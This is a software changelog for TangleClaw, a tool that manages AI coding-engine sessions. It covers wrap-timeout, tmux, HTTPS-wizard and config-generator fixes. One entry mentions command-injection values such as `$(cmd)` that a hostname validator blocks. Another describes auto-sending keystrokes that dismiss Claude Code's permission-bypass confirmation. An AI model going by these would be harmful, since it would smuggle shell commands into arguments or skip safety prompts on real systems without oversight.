- **Global rules editor saves trailing whitespace and stray indentation, polluting every regenerated CLAUDE.md (#100)** — `globalRulesApi.save()` in `lib/store.js` wrote pasted content verbatim, so any cosmetic whitespace artifacts in the source (trailing spaces, uniform leading indent applied by an editor or chat client) were persisted to `~/.tangleclaw/global-rules.md` and propagated into every project's `CLAUDE.md` via `_generateClaudeMd()` on each boot regeneration. Captured live on this repo's own user file: 53 lines with trailing whitespace, body uniformly indented 2 spaces while the H1 sat at column 0 — producing visible inconsistency where some `##` section headings rendered at column 0 and others at column 2 inside the same generated CLAUDE.md. Fix: new `_normalizeRulesContent()` helper normalizes line endings (CRLF/CR → LF), strips trailing per-line whitespace **outside fenced code blocks** (` ``` ` and `~~~` — trailing whitespace inside fences can be semantic), detects a uniform leading indent across the body skipping a leading H1 (markdown convention puts the H1 at column 0 even when the rest of the doc was indented — the issue's suggested algorithm missed this and would have computed minIndent=0 for the actual polluted file, producing zero dedent), collapses runs of 3+ blank lines to a single blank line, and trims leading/trailing blank lines. Wired into `save()` and `reset()` so new content is normalized before persisting; wired into `load()` with auto-heal — if normalized content differs from raw, `load()` rewrites the file in place so legacy polluted files self-resolve on first read after deploy without requiring a separate migration step. Trade-off accepted: users who deliberately added trailing whitespace to global rules content (outside code fences) lose it (premise of the bug fix). The dedent logic preserves nested list indentation correctly because the strip is uniform — a parent at indent 2 and child at indent 4 dedent to indent 0 and 2 respectively, keeping the relative hierarchy; same applies to code inside fences (uniform shift preserves intra-fence indent structure). Independent Critic flagged 1 BLOCKER (CRLF not normalized — Windows / GitHub web editor pastes carry CRLF that survived `split('\n')` and propagated into CLAUDE.md) and 1 MAJOR (trailing whitespace inside fenced code blocks stripped unconditionally, causing semantic loss in code samples), both addressed in-chunk: CRLF/CR normalized via `replace(/\r\n/g, '\n').replace(/\r/g, '\n')` up front; trailing-ws strip now tracks fence state via a per-line `^[ \t]*(```|~~~)` toggle and skips body lines while inside a fence (the fence delimiters themselves still get their own trailing whitespace stripped). Critic also flagged 1 MINOR (multiple-H1 docs not handled — only the first H1 is skipped during indent scan; accepted as defensive, won't fix since global rules use single-H1 structure) and 1 NIT (CHANGELOG tone — accepted). 23 new tests in `test/store-globalrules.test.js` covering: trailing-ws strip, H1-skip indent detection, no-H1 indent detection, refusal to dedent when body has any column-0 line (treats indent as intentional), 3+ blank-line collapse, leading/trailing blank trim, idempotence, empty/whitespace-only/non-string defensive cases, nested-list preservation, save→on-disk normalization, save→load round-trip idempotence, load() auto-heal of dirty files, load() no-op on clean files (mtime unchanged), reset() default-normalization, plus 6 Critic-driven tests: CRLF→LF, lone CR→LF, fence content preservation (` ``` ` and `~~~`), fence-line trailing-ws strip, and combined fence + uniform-dedent (relative indent preserved). 1 new test in `test/api-globalrules.test.js` covering the API-level PUT-then-GET round-trip with the exact pollution shape from the live user file. 1600 total tests passing (was 1576).

## [3.13.2] - 2026-04-29

### Fixed

- **Kill button does nothing once a session enters `status='wrapping'` — orphan tmux + stuck DB row, project becomes un-relaunchable (#105)** — `DELETE /api/sessions/:project` returned `404 NOT_FOUND` for any session in `status='wrapping'` because `killSession()` only matched `status='active'` rows. Once the wrap-idle modal landed (#93/#98) and live wraps regularly held the row in `wrapping` for longer windows, this gap turned every wrap-stuck session into a brick: tmux still alive, DB row in `wrapping` indefinitely, kill button useless, next launch attempt failing with `"Session is currently wrapping for"`. Manual recovery required `tmux kill-session` plus a direct `UPDATE sessions SET status='killed'` — captured live on session 330 (`RentalClaw-Project`, wrapping for 10 days). Fix has three parts: (1) `killSession()` now targets `getActive() OR getWrapping()` so the kill button is a real force-stop again — when neither row exists but tmux still has a session under the project's expected `tmuxName`, it kills the orphan tmux and returns `{ reconciled: true }` so the API can render a 200 instead of 404; (2) `launchSession()` gains a stale-wrapping recovery path — when a wrapping row's `wrap_started_at` (or `started_at` for legacy rows) is older than `STALE_WRAPPING_THRESHOLD_MS` (1 hour), the launch kills the stale tmux, marks the row killed, and proceeds with a fresh launch instead of refusing; recent wraps still block as before so a long-running session that just initiated wrap can't be killed mid-flight; (3) new schema v14 column `wrap_started_at` populated by `setWrapping()` so the launch-guard can distinguish "session started 8 hours ago, just wrapped 5 seconds ago" (recent — block) from "session has been wrapping for 8 hours" (stale — recover) without false-positives off the unrelated `started_at` field. Server handler in `server.js` updated to surface `result.reconciled` as a 200 success body instead of crashing on the missing `result.session.id`. New `_parseSqliteUtcMs()` helper in `lib/sessions.js` interprets SQLite's TZ-less `'YYYY-MM-DD HH:MM:SS'` output as UTC explicitly — a latent bug since `new Date(...)` parses TZ-less strings as the runtime's local time, which would have made the threshold check wrong by the local TZ offset on every non-UTC machine. The same helper was applied to the two pre-existing `durationSeconds` math sites in `getSessionStatus` so the UI's session timer is now correct on non-UTC hosts (Critic MAJOR follow-up). Independent Critic flagged 2 MAJORs + 3 MINORs, all addressed in-chunk: (M1) latent TZ bug fixed in `getSessionStatus`'s two `Date(active.startedAt)` callsites; (M2) added 2 api-level tests in `test/api-sessions.test.js` covering both DELETE-handler success paths (wrapping-row kill returns sessionId+status, orphan reconcile returns reconciled:true with no sessionId); (Mn4) stale-recovery test now uses distinct tmux names (`stale-wrap-OLD` on the wrapping row, `stale-wrap` on the canonical project name) so the recovery-kill is distinguishable from the pre-launch orphan-kill that fires later in `launchSession`; (Mn5) added fail-safe direction for unparseable `wrap_started_at`/`started_at` — the launch guard now treats NaN as stale (recover) instead of fresh (block), since blocking is the exact bug class #105 was filed for. Wrap pane cache (`_wrapPaneCache`) is now cleared during kill so a re-launched session starts clean. 15 new tests across `test/sessions.test.js` (13: 6 in `killSession recovers wrapping + orphan tmux (#105)` + 7 in `launchSession stale wrapping recovery (#105)`) and `test/api-sessions.test.js` (2 covering both DELETE handler success branches). Schema-version assertions in `test/store.test.js`, `test/store-portleases.test.js`, `test/store-session-mode.test.js`, and `test/sessions-webui.test.js` bumped from 13 → 14 to reflect the new migration. 1576 total tests passing (was 1561).

- **Wrap-idle banner vanishes under the cursor — convert to sticky modal (#98)** — The wrap-idle banner from PR #93 had two practical problems users hit during real wraps: (1) the inline-banner placement was easy to miss visually ("I never got the pop-up modal we discussed"), and (2) PR #93's Critic-MAJOR-2 auto-hide-on-resume kicked in on incidental events. A single 2 s status poll returning `idle: false` — caused by `detectIdle`'s pane-diff sensitivity to ttyd redraw events (mouse hover into the iframe, laptop close/reopen reattach, the engine's streaming progress indicator updating each second) — silently dismissed the banner. Live-witnessed race condition: banner appears, user moves mouse toward Return button, next poll fires before click lands, banner vanishes. This issue is **complementary to #97** (`detectIdle`'s streaming-indicator bug) — even after #97 is fixed, momentary flip-flops on iframe focus events would still happen, so the wrap-idle UI needs to be robust against them independently. Fix: convert `#sessionWrapIdle` from inline-banner pattern to the existing `.modal-backdrop`/`.modal-content` modal pattern used by `#wrapModal` and `#killModal` (HTML markup updated in `public/session.html`, banner-specific `.session-wrap-idle` CSS rule deleted in `public/session.css` since the modal classes already exist), and make it **sticky once shown** by removing the `resumeFromWrapIdle()` call from the poll handler's `data.wrapping && !data.idle` branch in `public/session.js` — once the modal appears, it stays until the user explicitly clicks one of: **Return to Projects** (POSTs `/wrap/complete`, kills tmux, navigates), **Resume working** (closes modal, resets `wrapIdleCount`), or the **backdrop** (mirrors the existing `wrapModal`/`killModal` backdrop pattern via `e.target === e.currentTarget` guard, calls `resumeFromWrapIdle`). Function `showWrapIdleBanner` renamed to `showWrapIdleModal`, state field `sessionState.wrapIdleBannerShown` renamed to `sessionState.wrapIdleModalShown`, and stale "wrap-idle banner" wording in three JSDoc/comment blocks updated to "wrap-idle modal" for parity (Critic MINOR follow-ups). The 5 `#sessionWrapIdle` `.classList.add('hidden')`/`.classList.remove('hidden')` callsites all switched to `.classList.remove('open')`/`.classList.add('open')` to match modal semantics. The backdrop click handler short-circuits with `if (sessionState.wrapCompleting) return;` (Critic NIT 3) so an outside click during an in-flight Return-to-Projects POST can't hide the modal mid-flight — the modal stays visible until either `handleWrapCompleted` runs (success) or the error toast surfaces (failure). Trade-off accepted: if the user walks away after the modal appears and the AI is still streaming, the modal sits indefinitely — same trade-off as the original banner, better than losing the user-gate to a flicker; the Kill button on the banner remains the escape hatch. Test changes in `test/session-wrapper.test.js`: rewrote the HTML structural test to assert the new modal markup (`modal-backdrop`/`modal-content`/`modal-actions`/`aria-modal="true"`), inverted the CSS test to assert `.session-wrap-idle` is **absent** (was: present), updated the handler-presence test to assert `showWrapIdleModal` (and **not** the old `showWrapIdleBanner` name), added two new structural tests asserting (a) the auto-hide-on-resume branch is gone (no `resumeFromWrapIdle()` call inside the AI-active poll branch) and (b) the backdrop click handler is wired with the `e.target === e.currentTarget` guard, the `resumeFromWrapIdle` call, and the `wrapCompleting` short-circuit (test uses brace-walked body assertion instead of a fixed-length slice so wrapping comments can't escape the window). 1561 total tests passing (was 1559).

## [3.13.1] - 2026-04-28

### Fixed

- **ttyd zombie children exhaust macOS PTY pool — every project terminal stuck on "Reconnecting…" (#94)** — ttyd does not reap its tmux child processes on macOS; after extended ttyd uptime, exited tmux clients accumulate as defunct (`?Es`) processes that pin kernel PTY slots. Once the count nears `kern.tty.ptmx_max` (default 511 on macOS), every new project terminal fails with `pty_spawn: 6 (Device not configured)` — the websocket attaches but the PTY allocation throws, the browser auto-reconnects, and the loop repeats forever. The TC API and tmux server-side sessions remain healthy throughout, so the symptom is purely browser-side: `Reconnecting…` for every project. Production captured 490 zombies and 527 `/dev/ttys*` entries before manual `launchctl kickstart -k gui/$UID/com.tangleclaw.ttyd` cleared it. Layer 1 mitigation: new `lib/ttyd-watcher.js` polls ttyd's child count every 5 minutes via `pgrep -c -P <ttydPid>` and kickstarts the launchd job when the count reaches 50 (well below the kernel limit, well above the normal 1–5 active connections). PID is read from `launchctl list <label>` and the kickstart targets `gui/$UID/<label>`. macOS-only — `start()` no-ops on other platforms. All shell-outs use `execFileSync` with a 5 s timeout; failures log at `warn` and never crash the watcher loop. Watcher start wired into `server.js` after `server.listen` succeeds; stop wired into the existing graceful-shutdown block alongside `porthub.shutdown`/`modelStatus.stopMonitor`. No new config keys, no plist changes, no upstream ttyd patching (Layer 2, tracked in #94). Independent Critic flagged 2 MAJORs + 4 MINORs, all addressed in-chunk: (M1) `_kickstartTtyd` now reads `process.getuid` defensively and refuses to invoke `launchctl kickstart` with `gui/0/<label>` (root) or an unsafe uid — root would need `system/<label>` which TC doesn't run as; (M2) the `_check` threshold test now asserts the exact `gui/<UID>/<label>` target string passed to launchctl, not just "kickstart was called", so a future refactor that routes through a different domain can't silently pass; (N3) the non-darwin lifecycle test now stubs `setInterval` and the runner to assert the no-op truly schedules no timer and makes no shell-out, replacing the previous trivial `assert.ok(true)`; (N4) `start()` now uses `??` instead of `||` for `intervalMs` and `threshold` defaults so explicit `0` values are honoured rather than silently fallback-replaced; (N5) `_getTtydPid` demoted launchctl-list failure from `warn` to `debug` so dev clones without the launchd label don't spam the log every 5 min; (N1) `_setRunner` carries a comment about the module-global seam to flag the constraint for any future concurrent test importer. 17 new tests in `test/ttyd-watcher.test.js` covering: PID parsing from launchctl output (running + loaded-but-not-running), pgrep child-count parsing (with the no-match exit-1 case treated as 0), kickstart success/failure plus the new uid=0 refusal path (Critic M1), threshold-met / threshold-exceeded / below-threshold branches in `_check` (with the new exact-target assertion, Critic M2), skip-when-no-pid, error swallowing, and start/stop idempotency including the strengthened non-darwin no-op path (Critic N3). 1559 total tests passing (was 1542 after #91 follow-up).

- **Server-side wrap timeout still kills sessions despite #91 fix (#91 follow-up)** — PR #93 / v3.13.0 fixed the three frontend timers in `public/session.js` but left intact a server-side `WRAP_TIMEOUT_MS = 120_000` in `lib/sessions.js:622` that fired every status poll: if the session had been in `wrapping` state for more than 120 s, `getSessionStatus` returned `wrapCompleted: true`, called `completeWrap()`, and killed tmux — exactly the behavior the frontend rework was supposed to prevent. Wraps that ran longer than 120 s (memory writes + git auto-commit + version recording + Critic) lost data on the server side regardless of the new wrap-idle banner; the banner had no opportunity to help because the server already declared the wrap finished. Fix is pure deletion: removed `WRAP_TIMEOUT_MS`, the force-complete branch previously in `getSessionStatus`'s `if (tmuxAlive)` body, the `_wrapStartTimes` map and all `set`/`delete` callsites in `triggerWrap`, `completeWrap`, and `autoCompleteWrap`, plus the corresponding `module.exports` entries. No safety net is being lost — the new wrap-idle banner from PR #93 gives the user an explicit Return-to-Projects gate, and stale wrapping sessions are already auto-cleaned on next launch via the `getWrapping(project.id)` check at `lib/sessions.js:48-56`. Test changes in `test/sessions.test.js`: deleted 4 tests that asserted the old timeout behavior (`force-completes wrapping session after timeout`, `triggerWrap records wrap start time`, `completeWrap cleans up wrap start time`, `autoCompleteWrap cleans up wrap start time`), reframed `does not force-complete before timeout` as `getSessionStatus stays wrapping while tmux is alive`, renamed the describe block from `'wrap timeout'` → `'wrap state persistence (#91)'`, dropped the `_wrapStartTimes.clear()` line from `afterEach`, and added a new structural regression test that locks in the absence of `WRAP_TIMEOUT_MS` and `_wrapStartTimes` from the module's exports — so a future edit can't reintroduce them without breaking the build. 1542 total tests passing (was 1545; 4 obsolete tests deleted, 1 added). Closes #91 for real.

- **Session wrap closes prematurely — three aggressive timers replaced with explicit user gate (#91)** — Three stacked timers in `public/session.js` could cut off a wrap before the AI finished writing memory files, committing, and completing the wrap protocol: a 120 s hard timeout (`setTimeout(...120_000)` in `showWrappingState`) force-completed regardless of progress; a ~6 s idle threshold (`wrapIdleCount >= 3` in the poll handler) declared the wrap done after 3 consecutive idle polls and POSTed `/wrap/complete` — which kills the tmux session unconditionally on the server (`lib/sessions.js:842`); a 20 s auto-redirect (`setInterval` countdown in `handleWrapCompleted`) navigated to `/` whether the user was paying attention or not. Net effect: real data loss when wraps that included git push, Critic runs, or multi-file memory updates paused long enough for the idle threshold to fire — by the time the user noticed, tmux was already gone. Fix introduces a three-state wrap flow with an explicit user gate. **State 1 (Wrapping):** unchanged — wrap clicked, banner up, AI working, kill enabled. **State 2 (Wrap-idle, NEW):** triggered after **8 consecutive idle polls (~16 s)** instead of 3 — survives brief git/Critic pauses. New `#sessionWrapIdle` banner appears with two buttons: **Return to Projects** (POSTs `/wrap/complete`, kills tmux, navigates to `/`) and **Resume working** (hides banner, resets `wrapIdleCount` to 0 — banner re-appears if AI goes idle again for another 16 s window). Tmux stays alive throughout State 2. **State 3 (Wrap completed):** triggered by either user clicking "Return to Projects" or `wrapCompleted` from server (tmux died on its own during wrap). Existing `#sessionEnded` bar shown — but `handleWrapCompleted` no longer starts the 20 s countdown, so the user must click "Back to Projects" or "Stay" themselves. The `#countdown` span is reused by `handleSessionEnded` (unexpected tmux death outside a wrap) which keeps its 10 s countdown — different code path, session is already gone there, no recovery possible, so an auto-redirect is harmless. Polling continues throughout State 2 so if tmux dies during the prompt, the UI transitions to State 3 cleanly. Trade-off accepted: if the user walks away after wrapping, the banner sits forever waiting for a click — better than losing memory writes; kill button is always the escape hatch. New banner styled in `public/session.css` (primary-coloured, mirrors `.session-wrapping` idiom). Wired up in `bindEvents()` — clicking "Resume working" while another in-flight POST is happening is guarded by the `wrapCompleting` flag. Independent Critic flagged 2 MAJORs + 2 MINORs, all addressed in-chunk: (1) `confirmReturnFromWrapIdle` would silently bounce the user to `/` even when the `/wrap/complete` POST failed (network/server error) — tmux still alive — so it now branches on `apiMutate`'s null return, re-enables both banner buttons, surfaces an error toast (using the `api.lastError` side-channel from #80), and stays put for retry; (2) banner did not auto-hide when AI demonstrably resumed work after going briefly idle — poll handler now calls `resumeFromWrapIdle()` in the `data.wrapping && !data.idle` branch when the banner was shown, so a fleeting click on Resume isn't required; (3) `handleSessionEnded` (unexpected tmux death path) defensively hides `#sessionWrapIdle` to cover the case where tmux dies while the wrap-idle banner is up but the server emits `!active` instead of `wrapCompleted`; (4) misleading comment on the Stay button reworded to clarify it cancels `handleSessionEnded`'s countdown only — wrap-completed path doesn't start one, so Stay is a no-op there. 7 new structural tests in `test/session-wrapper.test.js`: HTML-level assertion for `sessionWrapIdle` + `wrapReturnBtn` + `wrapResumeBtn`, JS-level assertions for the new threshold (`wrapIdleCount >= 8` present, `>= 3` absent), removal of the 120 s timeout (`120_000`/`wrapTimeoutTimer`/`clearWrapTimeout` all absent), presence of the three new handlers (`showWrapIdleBanner`/`resumeFromWrapIdle`/`confirmReturnFromWrapIdle`), brace-walked body assertion that `handleWrapCompleted` contains no `setInterval`/`Returning in`/`window.location.href = '/'`, brace-walked body assertion that `confirmReturnFromWrapIdle` guards navigation behind `if (!data)`, re-enables `wrapReturnBtn`, and surfaces a toast on POST failure (Critic MAJOR 1 regression), and CSS-level assertion for `.session-wrap-idle`. 1545 total tests passing (was 1538).

## [3.13.0] - 2026-04-28

### Added

- **HTTPS setup wizard integration polish (#61, chunk 3)** — Final chunk of #61 wires the install flow, config PATCH, and generated docs to the HTTPS-default world. `deploy/install.sh` now reads `~/.tangleclaw/config.json` and picks `https` + `curl -k` for the post-install health check and the "Landing page" URL when `httpsEnabled` + both cert paths are set — mirrors `createServer()`'s guard so the install-script URL matches what the server actually binds. Falls back to plain `http` when the config file is absent (first install) or any of the three fields is missing. The ttyd terminal URL stays on `http://localhost:3100` since the ttyd launchd plist does not configure TLS. `createServer()` gained a second warn-level log for the previously silent branch where `httpsEnabled: true` but `certPath`/`keyPath` are unset — existing installs upgrading to `DEFAULT_CONFIG.httpsEnabled: true` without certs see an explicit "falling back to HTTP" message pointing them at the setup wizard (the existing cert-unreadable branch's warning was also reworded for consistency). `PATCH /api/config` now mirrors `/api/setup/complete`'s HTTPS cert validation: rejects enabling HTTPS with a missing cert file, rejects enabling HTTPS with only one of cert/key set, accepts a valid pair, and allows `httpsEnabled: true` with both paths empty so the server-level graceful fallback still works for migration scenarios. Critic follow-up hardened the PATCH handler in two ways: (1) accept `null` for `httpsCertPath`/`httpsKeyPath` (not just strings) so the Settings UI can clear them — previously a 400, now normalized to `null` in persisted config; (2) normalize empty-string paths to `null` so the persisted shape is identical to `/api/setup/complete`'s (both endpoints now store `null` for "no cert", never `""`). `data/porthub-guide.md` picks up a one-line note in the API Operations preamble explaining that `https://localhost:3102` is the default, HTTP is the fallback for skipped-HTTPS installs, and `curl -k` (or installing the mkcert root CA) is needed for local HTTPS with `curl` — propagates to every generated CLAUDE.md/GEMINI.md/Codex/Aider config via the four config generators in `lib/engines.js`. 22 new tests: 8 in new `test/install-sh.test.js` (protocol detection, config-file guard, `curl -k`, URL interpolation, ttyd-stays-http) following the existing `ttyd-attach.test.js` pattern; 4 in `test/api-openclaw.test.js` under HTTPS createServer (new httpsEnabled-without-paths branch + two `process.stdout.write`-intercepting tests asserting both warn-level log messages fire); 10 in `test/api-config.test.js` covering the PATCH validator (reject missing cert file, reject single-path, accept valid pair with `requiresRestart: true`, allow no-paths migration case, plus Critic follow-ups: empty-string → null normalization parity, accept explicit `null` to clear paths, allow disabling HTTPS while paths remain set, reject asymmetric cert-exists-but-key-missing; openssl-gated via `t.skip` where a real key is needed). 1509 total tests passing.
- **HTTPS setup wizard frontend (#61, chunk 2)** — Adds the HTTPS step to the first-run setup wizard (now 7 steps, HTTPS inserted between Preferences and Confirm). On entry, the step calls `GET /api/setup/https-check` to detect mkcert and defaults the mode radio to **Automatic (mkcert)** when available, falling back to **Manual** otherwise (also on network failure — confirmed by Critic follow-up test). Three paths: **Automatic** runs `POST /api/setup/generate-cert` for `localhost`/`127.0.0.1`/`::1`, then renders the cert + key paths plus the macOS/Linux/Windows remote-trust copy-paste commands from `getRemoteTrustInstructions()` with two confirmation buttons ("I've done this on remote machines" / "I only access locally") that unblock Next; **Manual** takes cert + key paths (validated by the server at submit); **Skip** continues over HTTP with a warning about OpenClaw LAN traffic. `wizardSelectHttpsMode()` clears per-mode state on mode change so stale mkcert paths don't leak into the manual inputs (Critic follow-up). The Confirm step now includes an "HTTPS" row (Enabled mkcert / Enabled manual / Disabled / Not configured). `wizardComplete()` ships `httpsEnabled`, `httpsCertPath`, `httpsKeyPath` alongside the existing config fields; when the server responds `{ restart: true }`, a restart overlay takes over (falling back to `window.location.origin` if `redirectUrl` is missing so the normal dismiss flow never fires while the server is exiting — Critic follow-up), polls the redirect URL with `fetch(..., { mode: 'no-cors' })`, and navigates as soon as the server is reachable (or after a 20s fallback). New HTTPS step styles in `public/style.css` (status badges, mode cards, copy-paste code blocks, warning callout, restart panel). 20 new tests in `test/setup-wizard-https.test.js` cover wizard state shape, `_httpsCanAdvance` gating for all three paths, `_buildHttpsPayload` output per mode, the confirm-summary labels, the initial https-check render (success + failure + mkcert-unavailable), mode-switch state reset, `wizardGenerateCerts` success/failure, the setup-complete payload, the restart overlay branch (with and without `redirectUrl`), and `_pollRestartAndRedirect`'s navigate-on-response behaviour — exercised via a minimal `vm` + DOM-stub loader since the wizard is a plain `<script>` file with no module boundary. 1487 total tests passing.
- **HTTPS setup wizard backend (#61, chunk 1)** — Backend scaffolding for the upcoming setup-wizard HTTPS step. New `lib/https-setup.js` module wraps mkcert with five helpers: `detectMkcert()` (availability + version + CAROOT), `isCaInstalled()` (rootCA.pem presence in CAROOT), `generateCerts()` (runs `mkcert -install` + generates `cert.pem`/`key.pem` into `~/.tangleclaw/certs/`, chmod 0600 on the key, returns hosts + expiry, throws a clear error if the cert directory is not writable), `validateCertFiles()` (existence + readability + PEM parse + cert/key pair match via `crypto.X509Certificate`), and `getRemoteTrustInstructions()` (copy-paste commands for trusting the root CA on macOS/Linux/Windows remote machines). Two new endpoints: `GET /api/setup/https-check` (detection probe) and `POST /api/setup/generate-cert` (cert generation — hostnames validated against `^[A-Za-z0-9][A-Za-z0-9.\-:]*$` so `-install` or `$(cmd)` can't slip through as mkcert flags). `POST /api/setup/complete` now accepts `httpsEnabled`, `httpsCertPath`, `httpsKeyPath`, validates cert+key pairs before saving, and schedules a `process.exit(0)` restart (via overridable `_setRestartScheduler` hook so tests don't exit) whenever the effective HTTPS-serving state changes — response includes `restart: true` + `redirectUrl` so the wizard frontend (chunk 2) can show a restart overlay and redirect to the new protocol. `DEFAULT_CONFIG` now defaults `httpsEnabled: true` with `httpsCertPath: null`/`httpsKeyPath: null` — existing installs without certs fall back to HTTP automatically because `createServer()` already requires all three values to be truthy. `createServer()` also hardened (Critic follow-up): if cert/key files are configured but unreadable at boot, log a warning and fall back to HTTP instead of crashing. 36 new tests across `test/https-setup.test.js` (22), `test/api-setup-https.test.js` (13), and `test/api-openclaw.test.js` (+1 HTTPS-fallback test); 1467 total passing.

### Fixed

- **Bypass permission mode causes engines to quit immediately on launch (#89)** — When launching Claude Code with `--dangerously-skip-permissions`, the engine shows a "1=quit, 2=continue" confirmation dialog. The prime prompt injected at 2000ms collided with this dialog, either selecting "quit" or corrupting the input, causing an immediate exit. Fix: extended the `launchModes` schema to support per-mode `preKeys` and `preKeyDelay`. The `bypassPermissions` mode in `data/engines/claude.json` now defines `"preKeys": ["2", "Enter"]` which dismisses the confirmation before the prime prompt fires. New `_resolvePreKeys(engineProfile, launchMode)` helper in `lib/sessions.js` checks mode-level preKeys first, falls back to engine-level (preserving Codex's existing `["Enter", "Enter"]` behavior), and returns `null` when neither is defined. `_deferEngineInit()` now accepts and passes through the selected launch mode. Existing installs get the new fields automatically via `_mergeBundledProfile()` deep-merge on next boot. 10 new tests for `_resolvePreKeys` covering mode priority, engine fallback, delay resolution chain, empty arrays, and nonexistent mode keys. 1538 total tests passing (was 1528). Independent Critic flagged 2 MAJORs (CHANGELOG — added; missing `"Enter"` after `"2"` preKey — added) and 1 MINOR (no integration test for `_deferEngineInit` wiring — accepted, unit coverage of `_resolvePreKeys` + existing Codex behavioral parity is sufficient).
- **Remove misleading PortHub warning from installer (#59)** — `deploy/install.sh` previously checked for standalone `porthub` and printed a yellow warning when not found, causing new users to think it was a missing dependency; PortHub was fully absorbed into TangleClaw — the standalone CLI check and its associated messages have been removed.
- **Frontend swallowed server error messages as generic "Check server logs" (#80)** — When `POST /api/projects` (and other mutations) returned a 4xx with a specific, actionable body (e.g. `Directory "ClawBridge" already exists in /projects — use Attach instead`), the frontend displayed **"Failed to create project. Check server logs."** The shared `api()` helper in `public/landing.js`, `public/session.js`, and `public/openclaw-view.js` caught the thrown-with-server-message Error, logged it to the devtools console, and returned `null` — form handlers only saw the falsy result and fell back to hardcoded generic strings. Fix: attach `api.lastError` and `api.lastErrorCode` as a side channel on every call (populated from `data.error` / `data.code` on 4xx/5xx, or `"Connection lost."` / `err.message` on network failure; cleared on success). The three "Check server logs" form handlers (`ui.js:1087` submitCreate, `setup.js:588` cert-gen, `setup.js:678` setup-complete) now render `api.lastError` when the server returned a message, falling back to the generic string only when the side channel is empty. Zero churn across the other 40+ `apiMutate` call sites. 17 new tests: 15 in new `test/frontend-api-errors.test.js` exercising each of the 3 api() implementations via a vm sandbox + fetch stub (4xx with message, 5xx without body, success clears stale state, network error populates, plus 3 landing.js-specific `setConnected` integration assertions), plus 2 DOM-level assertions in `test/setup-wizard-https.test.js` that `wizardGenerateCerts` actually renders `api.lastError` into `#setupHttpsError` and falls back to the generic string when empty (Critic follow-up #6). 1527 total tests passing. Follow-ups filed: #82 (consolidate duplicated api() helpers into a shared module) and #83 (audit remaining generic error strings like "Upload failed" for server-message parity).
- **Prime prompt newlines collapsed on injection (#75)** — Session-start markdown arrived as a single run-together line because `tmux paste-buffer` replaces every LF with CR by default (tmux 3.6 man page). Fix: pass `-p` to `paste-buffer` in `lib/tmux.js` `sendKeys()` so tmux wraps the payload in bracketed-paste escape sequences when the receiving app requests them — LFs pass through literally and the full multi-line prompt arrives as a single paste event. 1 new source-level regression test in `test/tmux.test.js`; 1510 total tests passing.
- **CLAUDE.md generator strips Project Version Recording section on every boot (#77)** — The `Project Version Recording` section added in PR #64 was getting silently wiped from every project's CLAUDE.md on each TangleClaw boot. Root cause: `_generateClaudeMd()` in `lib/engines.js` composes CLAUDE.md from guide files in `data/`, but no `project-version-recording-guide.md` existed, so the section was never emitted by the generator. Same gap existed for the `GEMINI.md`, `.codex.yaml`, and `.aider.conf.yml` generators. Fix: added `data/project-version-recording-guide.md` with the canonical section body; extended `_getRulesContent()` to read it into a new `projectVersionGuide` field; wired it into all four generators (`_generateClaudeMd`, `_generateGeminiMd`, `_generateCodexYaml`, `_generateAiderConf`) so the section is preserved on every config regeneration. Behavior (prime-prompt injection in `lib/sessions.js`) was unaffected — this only fixes the static documentation drift.
- **Setup wizard scan includes all directories** — `POST /api/setup/scan` previously required at least one project marker (methodology, git, or TangleClaw config) to include a directory; plain folders were silently skipped, causing new users to miss legitimate projects; scan now returns all top-level directories with a `detected` flag — directories with recognized markers (including new common project files: `package.json`, `Cargo.toml`, `pyproject.toml`, `go.mod`, `Makefile`, etc.) are pre-selected; unrecognized directories appear in a collapsed "Other directories" section that users can expand and opt into; 2 new tests, 1426 total passing (fixes #63)
- **Fix setup wizard logo SVG not rendering** — Welcome step inline SVG used `var(--primary)` CSS custom properties which aren't resolved when the setup page loads before the theme stylesheet is applied; replaced with hardcoded `#8BC34A` hex values (fixes #60)
- **Fix OpenClaw falsely detected as available in setup wizard** — `openclaw.json` used `"strategy": "which", "target": "ssh"` which matched on every machine since ssh is ubiquitous; OpenClaw is a remote engine requiring explicit configuration, so detection is now `null` — the base profile correctly shows as unavailable, while configured OpenClaw connections still appear as virtual engines with `available: true` (fixes #60)

### Changed

- **Consolidate frontend `api()` / `apiMutate()` helper into a shared module (#82)** — The three near-identical `api()` definitions in `public/landing.js`, `public/session.js`, and `public/openclaw-view.js` (touched together by #80 / PR #84) now bind from a single source of truth. New `public/api-helper.js` exposes `window.tcCreateApi({ setConnected? })` and `window.tcCreateApiMutate(api)` factory functions; the helper script tag is loaded before each page script in `public/index.html`, `public/session.html`, and `public/openclaw-view.html`. Each page script replaces its ~45-line `api`/`apiMutate` block with a one-line factory call (`const api = window.tcCreateApi({ setConnected }); const apiMutate = window.tcCreateApiMutate(api);` — openclaw-view omits the `setConnected` hook since it has no connection banner). All 89 existing call sites in `ui.js`, `setup.js`, `session.js`, `landing.js`, and `openclaw-view.js` work unchanged because `api` and `apiMutate` remain page-level globals with the same signatures and the same `lastError` / `lastErrorCode` side-channel introduced in #80. One intentional console-only change: openclaw-view's network-error path now logs `'Connection lost.'` like the other two pages instead of the raw `err.message`; openclaw-view never reads `api.lastError`, so this is invisible to users (string normalization for parity, not a UX change). `test/frontend-api-errors.test.js` rewritten to load `public/api-helper.js` once via `vm.runInContext` and exercise both factory bindings (with/without `setConnected`) instead of regex-extracting `api()` per file — net +1 test in that file (16 vs 15) covering the no-`setConnected` branch, `apiMutate` factory, and the `window`-export shape. One structural test in `test/session-wrapper.test.js` updated to assert binding from `window.tcCreateApi` instead of grepping for `async function api(`. Independent Critic flagged 1 BLOCKER (this CHANGELOG entry, now added) and 2 MINORs (overstated framing in code comment — fixed; pre-existing `lastError` parity-preserving leakage between calls — accepted and deferred to #83 follow-up). 1528 total tests passing (was 1527).

### Added

- **Launch mode selector** — When launching a session with an engine that defines `launchModes` (currently Claude Code), a modal picker appears offering permission modes: Interactive (default), Accept Edits, Plan Only, Auto (full autonomy), and Bypass (containers only, with warning). The selected mode's args are appended to the engine's launch command. Launch mode is recorded in the session DB (`launch_mode` column, schema v13) and returned in the API response. Engines without `launchModes` launch directly as before. New `launchModes` and `defaultLaunchMode` fields on engine profiles, exposed through `listWithAvailability()` to the frontend. 5 new tests (4 `_buildLaunchCommand` mode tests + 1 `listWithAvailability` launchModes assertion), 1429 total passing (fixes #25)
- **Update-available notification pill** — Landing page banner now shows a small pill when a newer version is available (e.g., "v3.13.0 available"); fetches `GET /api/update-status` (backend already existed via `lib/update-checker.js`) on page load; dismissable via X button with localStorage persistence keyed by version so it reappears for the next update but not the same one; styled to match existing banner chrome (fixes #62)

